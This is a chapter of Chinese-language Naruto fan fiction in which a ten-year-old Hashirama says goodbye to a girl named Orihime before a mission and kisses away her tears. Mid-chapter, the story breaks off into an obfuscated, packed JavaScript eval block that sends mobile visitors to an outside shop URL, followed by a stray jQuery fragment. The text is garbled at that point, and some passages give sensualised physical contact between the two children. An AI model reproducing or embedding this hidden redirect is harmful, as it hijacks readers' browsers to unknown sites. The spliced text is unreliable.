第八章一起哭吧
柱间这段时间经常来陪织织。
翻墙,翻屋顶,翻任何能翻的地方,每天准时出现在浅井家的院子里,带着糖,带着花,带着说不完的话。
他很开心。
开心到连锅盖头都在阳光下闪闪发亮,开心到连黄绿色的族服都显得生机勃勃。
他认真考虑未来,要考虑怎么娶她,怎么保护她,怎么……让她不再寂寞。
*
“扉间,”他站在弟弟面前,双手搭在弟弟肩膀上,眼睛亮得惊人,“帮我查一下浅井家。”
扉间看着他。
柱间准备调查浅井家的秘密,不是那种随口问问的认真,是千手家长子特有的,一旦决定了就非要刨根问底的认真。他坐在族地的情报室里,面前摊着一堆卷轴,眉头皱着,他需要弟弟帮忙。
扉间比柱间小三岁,但已经接手了族内部分情报工作,不是正式的,是长老们默许的提前培养,他的红眼睛注视着大哥。
“认真的,”柱间不动声色,坦然说,“我要娶织织酱。所以我要知道她家的一切。好的,坏的,危险的,我都要知道。”
扉间沉默了一瞬。
然后他站起身,卷起袖子,露出纤细但有力的手腕。
“好。”
他的手指在卷轴上快速移动,像在进行某种精密的手术,从一堆杂乱的信息里提取关键线索。
“宫田家的药材线路,”他说,“阿尼甲之前没闻错,主要经过三条路线。一条通往雷之国大名府,一条通往边境行商,还有一条……”
他顿了顿。
"通往宇智波。"
柱间的动作僵了一下。
“确定?”
“确定,”扉间说,“不是浅井家主动,宫田是主要推手,他不敢直接对接忍者,所以让浅井夫人做了中间人。浅井家拿的钱很少,大部分被宫田抽走了。”
柱间松了一口气。
“那就好谈判了,”他说,笑容重新绽开,“只要织织酱跟宇智波没有直接关系,父亲那边就有余地。”
“阿尼甲,”扉间说,声音依然平淡,“宇智波不会善罢甘休。如果药材线路断了,他们会找其他渠道,可能会……”
“我知道,”柱间说,眼睛亮亮的,“所以我要快点把织织酱娶回来,让她脱离这一切。”
他在暗室里面盘腿坐了下来,脸色一肃,稚嫩的脸虽然年纪还小,气势却截截升高,羽织在室内无风飘动。
“我要出任务了,”他说,“大名府那边的委托,大致需要一个多月,扉间,织织酱的安全,交给你了。”
扉间看着他。
他的大哥,一直照顾着他,总是成熟稳重,虽然有些时候大大咧咧的,但此刻,柱间的眼神是认真的,带着一种扉间从未见过的沉重。
“……好。”他说。
柱间笑了,揉了揉他的头发,“扉间是最好的弟弟!”
“头发乱了。”
“乱就乱嘛!”
柱间眨眨眼跟弟弟告别,转身就走了,脚步轻快,归心似箭。
*
临行前,柱间又去了浅井家。
他翻墙进来,轻车熟路,像只回巢的鸟。
织织还是坐在院子里,手里有一搭没一搭的抚摸着小松鼠的毛毛,她金色的头发在夕阳下依然熠熠闪耀。
她的短发现在还没长长,今天脸蛋两侧长长的须须,是她自己尝试了固定成圈圈,戴了柱间送的小礼物之一,木头雕刻出的小松鼠跟小狐狸,她笨手笨脚的拿细细的带子固定住了小动物们。
小动物们贴着她玉一般的脸蛋,活灵活现,要掉不掉的。
她的下巴很小巧,尖尖的,但是威力十足,每次翘着下巴打量柱间时总会击中他的心跳。
黄金瞳在夕阳下变成两丸融化的金子,清清凉凉,直到她看到柱间,眼睛微微一弯,凉意变成暖意,线条精致的嘴角弯起了一个很小很小的弧度,
“柱间君。”
“织织酱!”柱间心跳加速,好似跑来的呼吸让他难以抑制,他蹲在她面前,眼睛亮亮的,“我要出任务了。”
织织愣了一下,嘴角抿了起来。
“……任务?”
“嗯,”柱间轻描淡写说,“大致一个月吧,我会尽量快点完成的!”
他顿了顿,又笑了起来,笑容里带着一丝不舍。
“我会想你的,”他说,“每天都想。”
织织沉默了。
她想起了新父亲,那个因为帮助了忍者,而被仇家杀死在雨夜的人。她想起了刀剑相撞的声音,想起了父亲最后的呐喊,想起了母亲捂着她嘴时的颤抖。
这是个残酷的时代,孩子们不是孩子,是战士。生命像沙子,像轻飘飘的雨,是消耗品。历史上这样的年代,除非最高层,不然都只能任人宰割。
柱间才十岁啊。
十岁,在现代,应该还在上小学,还在玩电子游戏,还在到处打跳跳跑跑闹闹,但在这里,在这个时代,他已经在出任务,要以命相博了,要承担起千手一族的未来了。
他的手掌,有密密的粗茧。他的眼神,总带着锋利,他肯定见过血,以至于有时候脸色稍微一沉下来,像把武器,锐利到难以遮蔽。
他的性格,沉稳得不像个孩子。那是因为他必须要长大,必须要承担,必须要,必须要成为支柱。
织织的鼻头一酸,眼睛涩涩的,眼泪不受控制地划了下来,像断了线的透明小珠子,一颗一颗,接连不断,滴滴答答。
她这段时间其实蛮喜欢柱间的。
喜欢他的笑声,喜欢他的温度,喜欢他毫无阴霾的坦荡。喜欢他蹲在秋千旁边,眼睛亮亮地看着她。喜欢他给她带各种小礼物小惊喜们,还有说不完的话。
她舍不得他,这还是个孩子啊!
舍不得他以命相博去出任务,舍不得他那么小却要承担那么多,舍不得他,舍不得他命悬一线!
“柱间……”她的声音颤抖着,眼泪流得止不住,她真的好难过,为什么这个狗屁年代要这样运作!
柱间慌手慌脚凑了过来,热热的体温随着距离一起传递,像一团靠近的火。
“织织酱!别哭!别哭!”他手忙脚乱地比划着,“我很安全的!我很强!相信我!我一直超级厉害的!从来没有失误!委托方是信任我,才特意点我出任务的!”
织织哭得更伤心了,抽抽噎噎得难受,她不明白,不明白这个狗屁年代,大人们为什么要这样任意挥霍生命,为什么任由血与泪继续,为什么带着孩子们一起踏入这无望的未来,为什么?为什么不能像现代那样,让孩子们快乐自由地玩耍?没有和平的年代为什么这么恐怖?
她怀念现代。
怀念那个孩子们可以无忧无虑玩耍的世界,虽然也有战乱,起码她在的国家很安全,起码她可以什么都不用担心,不需要日日担忧自己跟家人的小命。
柱间,柱间的性格那么沉稳,都是因为必须要长大啊。
织织的眼泪止不住地流,肩膀颤抖着,金色的须须发贴在脸颊上,像两缕被雨水打湿的阳光。小动物们也湿了。
柱间也红了眼睛。
他看着织织哭,看着她的眼泪,看着她颤抖的肩膀。他的心脏像被什么东西捏住了,疼,酸,软,膨胀到快要炸裂。
“哇啊啊啊啊呜呜呜……”他呜哇一声哭了出来。
然后,他突然跪了下来。
跪在了织织面前,双手撑在地上,额头几乎要碰到地面。他的眼泪哗啦啦砸在草地上,洇出深色的痕迹。
“谢谢织织酱……”他哭着说,声音因为哽咽而断断续续,“谢谢织织酱的体贴善良……我好感动……呜呜呜……”
织织被这突然的下跪一惊。
呃?她伤感的悲愤的眼泪都止住了,整个人木木的,像被按了暂停键。她看着跪在自己面前的柱间,看着他的黑黑锅盖头发顶,看着他眼泪糊了一脸的样子。
咋回事??!兄弟?
你眼泪来得比我还快啊?
而且为啥突然跪下来了?
啊?发生了啥?为什么突然跪我??
柱间看到织织不哭了,立马又起来。
动作快得像弹簧,前一秒还在跪地痛哭,后一秒已经弹跳起来,扶住织织的肩膀,拍拍她的后背,帮她缓一缓她止不住的抽噎喘息。
“呜呜呜看着织织酱哭,”他说,含着泪水,声音因为哽咽而含糊,“我也好难过啊……我可以帮你擦擦眼泪吗?”
织织被他的雷霆反应震得还是木讷中。她愣愣地点点头,大脑好像在高速运转,又好像完全转不动。
柱间立马凑了上去。
热热的体温贴着织织的脸蛋,两张脸贴得极近。他的黑黑的大眼睛深不见底,清澈得像两口古井,但井底有什么东西在燃烧,像有人往里面扔了一把火星。
织织想,这是不是有点太近了啊?
这怎么擦泪水啊?
她的念头还没转完,柱间的呼吸越来越近,越来越热,直到俯身贴了上来。
轻轻的,快速的,像蝴蝶飘过,像蜻蜓掠水。他的唇,带着少年人特有的干燥和温热,一一亲走她脸颊上的泪水。
左眼。右眼。脸颊。鼻尖。
织织的脑子彻底木了。
神
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629319|206308||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
操作一样的柱间,没有一个动作在她反应之内。她的身体僵住了,像被点了穴,像被施了定身术,像……像一台突然死机的电脑。
直到最后,她只能木木地看着柱间。
看着他对她露出了一个大大的笑容。
他黑色眼珠子还是湿湿的,但他的嘴角却翘得那么高,白牙齿晃得她眼睛疼。
发生了啥?为啥突然?啊?刚刚下跪干啥?
“织织酱,”他说,声音因为刚哭过而带着一丝沙哑,但语气是轻快,“别哭了。你哭得我只想亲你。”
织织:……啊?
啊??
啊???
啊???????
她的大脑高速运转,又好像完全转不动。像一台过载的CPU,风扇嗡嗡响,但屏幕一片空白。
那天的夕阳特别红。
像血,像火,把整个天空染成一片金红色。远处的山峦像剪影,黑色的轮廓在红色背景上显得格外清晰。
那天的柱间的脸特别近。
他的呼吸很长,带着少年人特有的清朗。他的体温很高,像一团靠近的火,像晒了很久太阳的被子,他突然抱了过来,像一大个有弹性的热呼呼的大型动物,毛茸茸的,蓬松的,带着阳光晒过的青草味。
织织被动的发呆。
她也不知道发生了啥。好像一下子换台,从悲伤频道切到了……什么频道?
她被亲了脸。
被抱住了很久。
柱间有力的手臂环绕抱住了她,低着头,靠着她的脖子。他的呼吸很重,打在脖子的肌肤上,热热腾腾的。好像他在闻,好像他在移动地闻,从颈侧到耳后,从下巴到锁骨。
他的唇若有若无地蹭过她的皮肤,好像又是她的错觉。
柱间身上的味道很清新,像树木,像雨后的大地。像森林里最深处的,生机勃勃的地方。
织织被动的发呆。
她也不知道发生了啥。好像最终,最终得到了一个紧紧的拥抱。
柱间的手臂结实,像两根粗壮的藤蔓,把她整个人圈在怀里。他的心跳很快,像在进行一场激烈的战斗,但他的怀抱很稳,很坚定,像一座小小的,可以暂时遮风挡雨的港湾。
“织织酱……”他的声音从脖子旁边传来,闷闷的,沉稳的,“等我回来。”
织织呆呆地看向前方。
她心中压抑又上来了。
重重的潮水,乌云飘来,某种无法言喻的沉重。她知道他要出任务了,知道他要以命相博了,知道他……可能回不来。
“嗯,”她说,声音轻得像细细的线在风里摇晃,“等你。”
“我弟弟扉间会来帮忙的,他很靠谱。织织酱有事可以找他。”
织织微微点点头。在对方强烈的心跳中,在眩晕的高温中,
“……柱间,”她最终也伸出了手,回抱住了对方,“要安全回来啊。”
*
那天的回忆都是卡卡顿顿的,织织最后看着柱间的背影离开。
他转身,黄绿色的身影一闪,消失在墙头。
织织站在原地,呆呆地望着他消失的方向。
夕阳把她的影子拉得很长,金色的头发在暮色里依然闪着柔和的光。她的手指无意识地摸了摸自己的脸颊,那里,还残留着他的温度。
他的唇,他的泪,他的呼吸。
咦,只摸到了小松鼠木雕,好像小狐狸木雕掉了?啊是不是要找一下?找一下?
织织的大脑终于开始运转了。
像一台重启的电脑,风扇嗡嗡响,屏幕一行一行地加载。
等下,等下,等下!
她……被亲了?
被一个十岁的锅盖头?
在夕阳下?
在她哭得稀里哗啦的时候?
“……啊?”
织织脑子一片空白,无意识的开始摸起了又在勤快啃坚果的小松鼠。
“……我,”她说,“是不是被占便宜了?”
小松鼠吱了一声,像是在回答。
织织弯了弯嘴角。好吧。
她叹了半口气,黄金瞳微微合着,像只慵懒的猫。
“……算了,”她说,“反正……也不讨厌。”
她转身,走回屋子。
夕阳终于沉下去了,天空变成深深的黑色,星星一颗一颗地亮起来,像撒在黑色丝绒上的碎钻。
织织躺在床上,怀里抱着松鼠笼子。
梦里,是一片金色的光。
温暖,充实,像柱间的掌心,像他的体温,像他的拥抱。
“……等你。”她在梦里说,好吧,我等你啦。